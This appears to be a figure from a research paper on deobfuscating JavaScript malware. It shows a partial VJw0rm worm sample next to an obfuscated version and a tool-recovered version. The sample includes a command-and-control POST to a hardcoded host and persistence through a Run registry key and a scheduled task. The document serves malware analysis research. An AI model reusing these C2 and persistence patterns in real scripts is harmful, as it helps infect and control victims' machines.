

|   |  |   |
|---|--|---|
| <pre>//VJw0rm Command-and-Control contact IServerXMLHTTPRequest2.open("POST",     "http://280.214.239.36:8050/Vre", false); IServerXMLHTTPRequest2.setRequestHeader("..."); IServerXMLHTTPRequest2.send();  //VJw0rm establishes persistency IWshShell3.ExpandEnvironmentStrings("%TEMP%"); IFileSystem3.copyFile(".../Desktop/1.js",     ".../AppData/local/1.js", "true"); IWshShell3.RegWrite(".../Windows/Version/Run/...",     ".../AppData/local/1.js", "Reg_SZ") IWshShell3.Run("Schtasks /create /sc /minute /mo 30...",     ".../AppData/local/1.js");</pre> | <pre>function _0x20c0(_0x5351f1, _0x4d0c85) {     ...//many lines } var _0xf6fcf8 = _0x20c0; (function(_0x1c3da7, _0x4a8c06) {     var _0x280e = 1, _0x2ce5c3 = "405623";     while (!![])     {         switch(_0x280e)         {             case 0: IServerXMLHTTPRequest2['setRequestHeader'](_0xf6fcf8(0x1a6)),                 _0x280e = parseInt(_0x2ce5c3[_0x280e]); break;             case 1: IServerXMLHTTPRequest2[_0xf6fcf8(0x1a5)](_0xf6fcf8(0x1a3), _0xf6fcf8(0x193), ![]),                 _0x280e = parseInt(_0x2ce5c3[_0x280e]); break;             case 2: IFileSystem3[_0xf6fcf8(0x196)](_0xf6fcf8(0x198), _0xf6fcf8(0x19f), _0xf6fcf8(0x18e)),                 _0x280e = parseInt(_0x2ce5c3[_0x280e]); break;             case 3: IWshShell3[_0xf6fcf8(0x198)](_0xf6fcf8(0x192), _0xf6fcf8(0x19f)),                 _0x280e = parseInt(_0x2ce5c3[_0x280e]); break;             case 4: IServerXMLHTTPRequest2[_0xf6fcf8(0x1a7)](),                 IWshShell3[_0xf6fcf8(0x190)](_0xf6fcf8(0x194)),                 _0x280e = parseInt(_0x2ce5c3[_0x280e]); break;             case 5: IWshShell3['RegWrite'](_0xf6fcf8(0x18f), _0xf6fcf8(0x19f), _0xf6fcf8(0x19a)),                 _0x280e = parseInt(_0x2ce5c3[_0x280e]); break;         }         if (_0x280e == 6) break;     } })(_0xf6fcf8(0x192), 0xd0ce4));</pre> | <pre>function aldyth(layerconf, mode) {     ...//many lines } var kikumi = aldyth; (function(canCreateDiscussions, layerconf) {     var component = 1, archetype = "405623";     for (; !![];) {         switch(component) {             case 0:                 IServerXMLHTTPRequest2["setRequestHeader"](kikumi(422));                 component = parseInt(archetype[component]); break;             case 1:                 IServerXMLHTTPRequest2[kikumi(421)](kikumi(419), kikumi(403), ![]);                 component = parseInt(archetype[component]); break;             case 2:                 IFileSystem3[kikumi(406)](kikumi(408), kikumi(415), kikumi(398));                 component = parseInt(archetype[component]); break;             case 3:                 IWshShell3[kikumi(408)](kikumi(402), kikumi(415));                 component = parseInt(archetype[component]); break;             case 4:                 IServerXMLHTTPRequest2[kikumi(423)]();                 IWshShell3[kikumi(400)](kikumi(404));                 component = parseInt(archetype[component]); break;             case 5:                 IWshShell3["RegWrite"](kikumi(399), kikumi(415), kikumi(410));                 component = parseInt(archetype[component]); break;         }         if (component == 6) { break;}     } })(kikumi(402), 855268);</pre> |
| <h1>1. Example Malware: VJworm</h1>   | <h1>2. Obfuscated VJworm</h1>  | <h1>3. Recovered By SOTA</h1>   |
| <h1>4. Recovered By JSimpo</h1>   |  |   |